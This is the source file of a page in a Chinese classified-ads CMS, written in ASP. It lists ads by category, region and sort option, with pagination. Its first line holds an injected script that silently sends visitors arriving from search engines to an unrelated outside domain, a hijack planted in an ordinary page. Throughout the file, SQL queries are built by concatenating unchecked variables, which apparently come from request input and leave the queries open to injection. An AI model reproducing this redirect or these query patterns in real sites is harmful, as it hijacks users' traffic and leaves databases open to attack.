d:\wwwroot\wuchunhua\categories.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="inc/kqiqi_sub.asp"-->
003: <!--#include file="inc/function.asp"-->
004: <%
005: '    @@@@@@ www.kqiqi.com @@@@@@@@@@@@@@@@@
006: '   @                                        @
007: '  @                                          @
008: '  @   客齐齐分管理系统，做最好的分类系统。   @
009: '  @                                          @
010: '   @                                        @
011: '    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
012: %>
013: <%
014: if IsNumeric(request("kqiqicms"))=False then
015: kqiqicms=""
016: else
017: kqiqicms=HtmlEncode(request("kqiqicms"))
018: end if
019: set rs=server.createobject("ADODB.recordset")
020: if kqiqi=2 then
021: set rs2=server.createobject("adodb.recordset")
022: sql2="select * from [class2] where id="&class2&""
023: rs2.open sql2,conn,1,1
024: if rs2.bof or rs2.eof then
025: response.redirect "/"
026: end if
027: dim tit2
028: tit2=rs2("class2")
029: rs2.close
030: set rs2=nothing
031: Select Case kqiqicms
032: Case "1"
033: rs.open"select * from kqiqi_info where class2="&class2&" and tuijian=1 and yz=1 order by id desc",conn,1,1
034: Case "2"
035: rs.open"select * from kqiqi_info where class2="&class2&" and yz=1 order by llcs desc",conn,1,1
036: Case "3"
037: rs.open"select * from kqiqi_info where class2="&class2&" and yz=1 and hfcs>0 order by hfcs desc",conn,1,1
038: Case "4"
039: rs.open"select * from kqiqi_info where class2="&class2&" and yz=1 and b=1 order by b desc",conn,1,1
040: Case Else
041: rs.open"select * from [kqiqi_info] where class2="&class2&" and yz=1 order by a desc,fbsj desc",conn,1,1
042: End Select
043: end if
044: if kqiqi=1 then
045: Select Case kqiqicms
046: Case "1"
047: rs.open"select * from kqiqi_info where class1="&class1&" and tuijian=1 and yz=1 order by id desc",conn,1,1
048: Case "2"
049: rs.open"select * from kqiqi_info where class1="&class1&" and yz=1 order by llcs desc",conn,1,1
050: Case "3"
051: rs.open"select * from kqiqi_info where class1="&class1&" and yz=1 and hfcs>0 order by hfcs desc",conn,1,1
052: Case "4"
053: rs.open"select * from kqiqi_info where class1="&class1&" and yz=1 and b=1 order by b desc",conn,1,1
054: Case Else
055: rs.open"select * from [kqiqi_info] where class1="&class1&" and yz=1 order by a desc,fbsj desc",conn,1,1
056: End Select
057: end if
058: if kqiqi=3 then
059: Select Case kqiqicms
060: Case "1"
061: rs.open"select * from kqiqi_info where diqu like '%"&ruirui&"%' and class1 like '%"&class1&"%' and class2 like '%"&class2&"%' and tuijian=1 and yz=1 order by id desc",conn,1,1
062: Case "2"
063: rs.open"select * from kqiqi_info where diqu like '%"&ruirui&"%' and class1 like '%"&class1&"%' and class2 like '%"&class2&"%' and yz=1 order by llcs desc",conn,1,1
064: Case "3"
065: rs.open"select * from kqiqi_info where diqu like '%"&ruirui&"%' and class1 like '%"&class1&"%' and class2 like '%"&class2&"%' and yz=1 and hfcs>0 order by hfcs desc",conn,1,1
066: Case "4"
067: rs.open"select * from kqiqi_info where diqu like '%"&ruirui&"%' and class1 like '%"&class1&"%' and class2 like '%"&class2&"%' and yz=1 and b=1 order by b desc",conn,1,1
068: Case Else
069: rs.open"select * from [kqiqi_info] where diqu like '%"&ruirui&"%' and class1 like '%"&class1&"%' and class2 like '%"&class2&"%' and yz=1 order by a desc,fbsj desc",conn,1,1
070: End Select
071: end if
072: if kqiqi=0 then
073: Select Case kqiqicms
074: Case "1"
075: rs.open"select * from kqiqi_info where tuijian=1 and yz=1 order by id desc",conn,1,1
076: Case "2"
077: rs.open"select * from kqiqi_info where yz=1 order by llcs desc",conn,1,1
078: Case "3"
079: rs.open"select * from kqiqi_info where yz=1 and hfcs>0 order by hfcs desc",conn,1,1
080: Case Else
081: rs.open"select * from [kqiqi_info] where yz=1 order by fbsj desc",conn,1,1
082: End Select
083: end if
084: totalquestion1=rs.recordcount
085: %>
086: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
087: <html xmlns="http://www.w3.org/1999/xhtml">
088: <head>
089: <title><%=city%><%=tit%>-<%=city%><%=tit2%><%=ruirui%>-<%=tit%>-<%=title%></title>
090: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
091: <meta http-equiv="Content-Language" content="zh-cn" />
092: <meta name="keywords" content="<%=metakey%>">
093: <meta name="description" content="<%=metades%>">
094: <link rel="icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
095: <link rel="shortcut icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
096: <link href="inc/style.css" rel="stylesheet" type="text/css" />
097: </head>
098: <body>
099: <div id="header">
100: <%call top()%>
101: </div>
102: <div class=kon></div>
103: <div id="Fmain">
104: <div id="Fleft">
105: <div id=F1Tit><a href=/ class=F12bold>首页</a>&gt;<a href="categories.asp?/=<%=class1%>&kqiqi=1" class=F12bold><%=tit%></a>&gt;
106: <a href="categories.asp?/=<%=class1%>&//=<%=class2%>&kqiqi=2" class=F12bold><%=tit2%></a>
107: <a href="categories.asp?/=<%=class1%>&//=<%=class2%>&///=<%=escape(ruirui)%>&kqiqi=3" class=F12bold><%=ruirui%></a>&gt;
108: <a target="_blank" href="post.asp" class=F12bold>我也发布一条</a>
109: </div><div id=F1Content><div Class='F1div'><ul class="clearfix">
110: <%if kqiqi<>0 then%>
111: <%
112: set rs1=server.createobject("ADODB.recordset")
113: rs1.open"select * from class2 where class1="&class1&" order by paixu",conn,1,1
114: if rs1.eof then%>
115: <li>暂时没有分类!</li>
116: <%else
117: while not rs1.eof
118: set rs2=server.createobject("ADODB.recordset")
119: rs2.open"select * from kqiqi_info where class2="&rs1("id")&"",conn,1,1
120: totalquestion=rs2.recordcount
121: rs2.close
122: set rs2=nothing
123: %>
124: <li>
125: <a href=categories.asp?//=<%=rs1("id")%>&/=<%=rs1("class1")%>&kqiqi=2><%=rs1("class2")%></a> (<%=totalquestion%>)<%rs1.movenext%>
126: </li>
127: <%
128: wend
129: end if
130: rs1.close
131: set rs1=nothing
132: end if
133: %>
134: </ul></div></div>
135: <div class="kon"></div>
136: <div id=F2Content><div Class='F2div'><ul class="clearfix">
137: <li class=F12bold><a href=#><font color="#FF6C16">地区：</font></a></li>
138:   <%
139: if diqu1="1" then
140: set kqiqi_rsdq=server.createobject("adodb.recordset")
141: kqiqi_sqldq = "select diqu from config "
142: kqiqi_rsdq.open kqiqi_sqldq,conn,1,1
143: if kqiqi_rsdq.bof or kqiqi_rsdq.eof then
144: response.redirect "/"
145: end if
146: diqu=split(kqiqi_rsdq("diqu"),"|")
147: xn=diqu(0)
148: for x=1 to xn
149: response.write "<li><a href=categories.asp?///="&escape(diqu(x))&"&/="&class1&"&//="&class2&"&kqiqi=3>"&diqu(x)&"</a></li>"
150: next
151: kqiqi_rsdq.close
152: set kqiqi_rsdq=nothing
153:
154: else
155: sqlr="select * from kqiqi_area where city='"&city&"'"
156: set rsquyu=conn.execute(sqlr)
157: do while not rsquyu.eof
158: response.write "<li><a href=categories.asp?///="&escape(rsquyu("diqu"))&"&/="&class1&"&//="&class2&"&kqiqi=3>"&rsquyu("diqu")&"</a></li>"
159: rsquyu.movenext
160: loop
161: rsquyu.close
162: set rsquyu=nothing
163:
164: end if
165: %>
166: </ul></div>
167: </div><div class="kon"></div>
168: <div>
169: <%
170: response.write "<table border=0 width=100% cellspacing=0 cellpadding=0><tr><td valign=top>"
171: response.write "<table width=100% border=0  cellpadding=0 cellspacing=0><tr><td width=10></td>"
172: if kqiqicms="" then
173: response.write "<td width=71 class=classbg>"
174: else
175: response.write "<td width=71 class=classbg1>"
176: end if
177:
178: response.write "<div align=center>"
179: if kqiqicms="" then
180: response.write "所有信息"
181: else
182: response.write "<a href=""?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&""" >所有信息</a>"
183: end if
184: response.write "</div></td><td width=5></td>"
185:
186: if kqiqicms="1" then
187: response.write "<td width=71 class=classbg>"
188: else
189: response.write "<td width=71 class=classbg1>"
190: end if
191:
192: response.write "<div align=center>"
193: if kqiqicms="1" then
194: response.write "推荐信息"
195: else
196: response.write "<a href=""?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms=1"" >推荐信息</a>"
197: end if
198: response.write "</div></td><td width=5></td>"
199:
200: if kqiqicms="4" then
201: response.write "<td width=71 class=classbg>"
202: else
203: response.write "<td width=71 class=classbg1>"
204: end if
205:
206: response.write "<div align=center>"
207: if kqiqicms="4" then
208: response.write "竞价信息"
209: else
210: response.write "<a href=""?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms=4"" >竞价信息</a>"
211: end if
212: response.write "</div></td><td width=6></td>"
213:
214: if kqiqicms="2" then
215: response.write "<td width=71 class=classbg>"
216: else
217: response.write "<td width=71 class=classbg1>"
218: end if
219: response.write "<div align=center>"
220: if kqiqicms="2" then
221: response.write "热门信息"
222: else
223: response.write "<a href=""?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms=2"" >热门信息</a>"
224: end if
225: response.write "</div></td><td width=5></td>"
226:
227: if kqiqicms="3" then
228: response.write "<td width=71 class=classbg>"
229: else
230: response.write "<td width=71 class=classbg1>"
231: end if
232:
233: response.write "<div align=center>"
234: if kqiqicms="3" then
235: response.write "最新评论"
236: else
237: response.write "<a href=""?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms=3"" >最新评论</a>"
238: end if
239: response.write "</div></td><td width=""40%""></td></tr></table>"
240: response.write "<table width=100% border=0 cellpadding=0 cellspacing=0 ><tr><td height=10 class=bglne>"
241: response.write "<div align=right>共有"&totalquestion1&"条相关信息</div></td></tr></table>"
242: response.write "<table width=100% border=0 cellspacing=1 cellpadding=0>"
243: response.write "<tr><td style=""border-bottom:1px #CCCCCC dotted"">"&adclass8&"</td></tr>"
244: if rs.eof and rs.bof then
245: response.write "<tr><td height=34 colspan=5>暂时没有信息!</td></tr>"
246: else
247: pageno=cint(request("pageno"))
248: rs.pagesize=15
249: pagenum=rs.pagecount
250: totalnum=rs.recordcount
251: if pageno="" or pageno>pagenum or pageno=0 then
252: pageno=1
253: else
254: pageno=pageno
255: end if
256: if pageno<>1 then
257: rs.move (pageno-1)*rs.pagesize
258: end if
259: for i=1 to rs.pagesize
260: sj=DateDiff("d",""&rs("fbsj")&"",now())
261: if sj<1 then                  
262: fsj="<FONT color=red>"&month(rs("fbsj"))&"/"&day(rs("fbsj"))&"</FONT >"                  
263: else                  
264: fsj="<FONT color=#999999>"&month(rs("fbsj"))&"/"&day(rs("fbsj"))&"</FONT >"                  
265: end if
266: tupian=rs("tupian")
267: leixing=rs("leixing")
268: response.write "<tr bgcolor=""#F3FBF1"" onmouseover=""this.bgColor='#D3EAE7'"" onmouseout=""this.bgColor='#F3FBF1'"" style=""CURSOR:default""><td>"
269: %>
270: <div class="kon"></div>
271:      <div class='div_content_f_b'>
272:      <div class='div_content_f_b_tu'>
273:      <a href='<%=rs("xurl")%>' target='_blank'>
274: <%
275: if tupian<>"0" and tupian<>"" then
276: %>
277:      <img border="0" src='<%=rs("tupian")%>' class='tu_1' />
278: <%
279: else
280: response.write "<img border=""0"" src=""image/tu.gif"" class=""tu_1"">"
281: end if
282: %>
283:      </a>
284:      </div>
285:      <div class='div_content_f_b_b'>
286:      <div class='div_content_f_b_bl'>
287: <%response.write "[<a target=""_blank"" href=""search.asp?key="&escape(leixing)&"&|=LB"">"&leixing&"</a>┆"&rs("diqu")&"]"
288: response.write "<a title="&rs("biaoti")&" href="&rs("xurl")&" target=""_blank"">"
289: %>
290: <strong>
291: <%
292: if len(rs("biaoti"))>25 then
293: %>
294: <%=left(rs("biaoti"),25)&"..."%>
295: <%else%>
296: <%=rs("biaoti")%>
297: <%end if
298: response.write "</strong></a>"
299: %>
300: <%
301: if  rs("b")=1 then
302: response.write "<img src=""image/zi-21.gif"" alt=""竞价""  border=""0"">&nbsp;"      
303: end if
304: if rs("a")>0 then
305: response.write "<img src=""image/article_ontop.gif"" alt=""置顶""  border=""0"">&nbsp;"      
306: end if
307: if rs("tuijian")=1 then
308: response.write "<img src=""image/6.gif"" alt=""推荐""  border=""0"">&nbsp;"
309: end if
310: %>
311:
312:      </div>
313:      <div class='div_content_f_b_br'>
314:    <img border="0" src="image/biao.gif">&nbsp;<%=fsj%>&nbsp;&nbsp;<a target="_blank" href="favorite.asp?id=<%=rs("ID")%>"><img border="0" src="image/de_menu_04.gif"></a>&nbsp;
315:              </div>
316:      </div>
317:      <div class='div_content_f_b_b'>
318:       <%=left(replace(replace(replace(rs("memo"),"&nbsp;",""),chr(13)&chr(10),""),"<br>",""),55)%>
319: <%if  len(rs("memo"))>55   then
320: response.write"…"
321: end if
322: %>
323:
324:      </div>
325:      </div>
326:      </td>
327:      </tr>
328: <%
329: rs.movenext
330: if rs.eof then exit for
331: next
332: response.write "</table><br>"
333: %>
334: <table width="760">
335: <tr>
336: <td align="center">
337: <div class="kqiqi">
338: <a href=?kqiqi=<%=kqiqi%>&/=<%=class1%>&//=<%=class2%>&///=<%=escape(ruirui)%>&kqiqicms=<%=kqiqicms%>&pageno=1>首页</a>
339: <%
340: '显示数量设定
341: showpagenum=10
342: '上一页显示判断
343: if pageno>1 then
344: response.write "<a href='?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms="&kqiqicms&"&pageno="&pageno-1&"'>上一页</a> "
345: end if
346: if pagenum>showpagenum then
347: num_left=pageno-1
348: num_right=pagenum-pageno
349: if num_left>(showpagenum/2) then
350: if num_right<(showpagenum/2) then
351:     page_left=pageno-(showpagenum-num_right)+1
352:     page_right=pagenum
353: else
354:     page_left=pageno-(showpagenum/2)
355:     page_right=pageno+(showpagenum/2)
356: end if
357: else
358:     page_left=1
359:     page_right=pageno+(showpagenum-num_left)-1
360: end if
361: '前项输出
362: for P=page_left to pageno-1
363:     response.write " <a href='?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms="&kqiqicms&"&pageno="&p&"'>"&p&"</a> "
364: next
365: '当前项输出
366: 'response.write " <span class=""current""><a href='?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms="&kqiqicms&"&pageno="&pageno&"'>"&pageno&"</a></span> "
367: response.write " <span class=""current"">"&pageno&"</span> "
368:
369: '后项输出
370: for f=pageno+1 to page_right
371:     response.write " <a href='?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms="&kqiqicms&"&pageno="&f&"'>"&f&"</a> "
372: next
373: else
374: for i=1 to pagenum
375: if i=pageno then
376:    'response.write " <span class=""current""><a href='?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms="&kqiqicms&"&pageno="&i&"'>"&i&"</a></span> "
377:    response.write " <span class=""current"">"&i&"</span> "
378:    'response.end()
379: else
380:    response.write " <a href='?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms="&kqiqicms&"&pageno="&i&"'>"&i&"</a> "
381:    'response.end()
382: end if
383: next
384: end if
385: '最后一页判断
386: if pageno<pagenum then
387: response.write "<a href='?kqiqi="&kqiqi&"&/="&class1&"&//="&class2&"&///="&escape(ruirui)&"&kqiqicms="&kqiqicms&"&pageno="&pageno+1&"'>下一页</a>"
388: end if
389: %>
390: <a href=?kqiqi=<%=kqiqi%>&/=<%=class1%>&//=<%=class2%>&///=<%=escape(ruirui)%>&kqiqicms=<%=kqiqicms%>&pageno=<%=pagenum%>>尾页</a>
391: <%end if
392: rs.close
393: set rs=nothing
394: %>
395: </div>
396: </td>
397: </tr>
398: </table>
399: </td>
400: </tr>
401: </table>
402: </div>
403: </div>
404: <div id="Fright">
405: <div id=FFTit class=F12bold>推荐信息</div><div id=FFContent><div Class='FFdiv'>
406: <%
407: response.write ""&adclass&" <div class=kon></div>"
408: response.write ""&adclass7&""
409: %>
410: </div></div></div>
411: <div class=kon></div>
412: <div class=kon></div>
413: <div id="footer">
414: <%
415: call bottom()
416: Call closedb()
417: %>
418: </div></div>
419: </body>
420: </html>
421:
422:

---